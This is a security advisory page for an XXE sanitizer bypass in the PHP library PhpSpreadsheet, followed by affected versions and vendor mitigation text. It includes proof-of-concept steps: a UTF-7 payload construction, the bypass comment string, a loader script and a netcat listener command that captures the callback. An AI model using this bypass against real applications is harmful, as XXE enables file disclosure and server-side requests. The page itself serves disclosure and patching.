EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpexcelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The XmlScanner class has a scan method which should prevent XXE attacks.
However, we found another bypass than the previously reported CVE-2024-47873, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value encoding="UTF-8" with ", which is matched by the first regex, so that encoding='UTF-7' with single quotes ' in the XML header is not matched by the second regex:
$patterns = [
'/encoding\\s*=\\s*"([^"]*]?)"/',
"/encoding\\s*=\\s*'([^']*?)'/",
];
A payload for the workbook.xml file can for example be created with CyberChef.
If you open an Excel file containing the payload from the link above stored in the workbook.xml file with PhpSpreadsheet, you will receive an HTTP request on 127.0.0.1:12345. You can test that an HTTP request is created by running the nc -nlvp 12345 command before opening the file containing the payload with PhpSpreadsheet.
To create the payload you need:
- Create a file containing
<?xml version = "1.0" encoding='UTF-7'in an XML file - Use the link attached above to create your XXE payload and add it to the XML file.
- Add
+ADw-+ACE---encoding="UTF-8"--+AD4-to the end of the XML file, which is matched by the first regex.
PoC
- Create a new folder.
- Run the
composer require phpoffice/phpspreadsheetcommand in the new folder. - Create an
index.phpfile in that folder with the following content:
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
$spreadsheet = new Spreadsheet();
$inputFileType = 'Xlsx';
$inputFileName = './payload.xlsx';
/** Create a new Reader of the type defined in $inputFileType **/
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);
/** Advise the Reader that we only want to load cell data **/
$reader->setReadDataOnly(true);
$worksheetData = $reader->listWorksheetInfo($inputFileName);
foreach ($worksheetData as $worksheet) {
$sheetName = $worksheet['worksheetName'];
echo "<h4>$sheetName</h4>";
/** Load $inputFileName to a Spreadsheet Object **/
$reader->setLoadSheetsOnly($sheetName);
$spreadsheet = $reader->load($inputFileName);
$worksheet = $spreadsheet->getActiveSheet();
print_r($worksheet->toArray());
}
- Run the following command:
php -S 127.0.0.1:8080 - Add the payload.xlsx file in the folder and open https://127.0.0.1:8080 in a browser. You will see an HTTP request on netcat http://127.0.0.1:12345/ext.dtd.
Impact
An attacker can bypass the sanitizer and achieve an XXE attack.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phpoffice/phpspreadsheet | all versions | 1.29.4 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.0.0&&< 2.1.3 | 2.1.3 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.2.0&&< 2.3.2 | 2.3.2 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 3.3.0&&< 3.4.0 | 3.4.0 |
| 🐘Packagist | phpoffice/phpexcel | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update phpoffice/phpspreadsheet to 1.29.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7cc9-j4mv-vcjp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7cc9-j4mv-vcjp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7cc9-j4mv-vcjp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7cc9-j4mv-vcjp in your dependencies?
O3 detects GHSA-7cc9-j4mv-vcjp across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.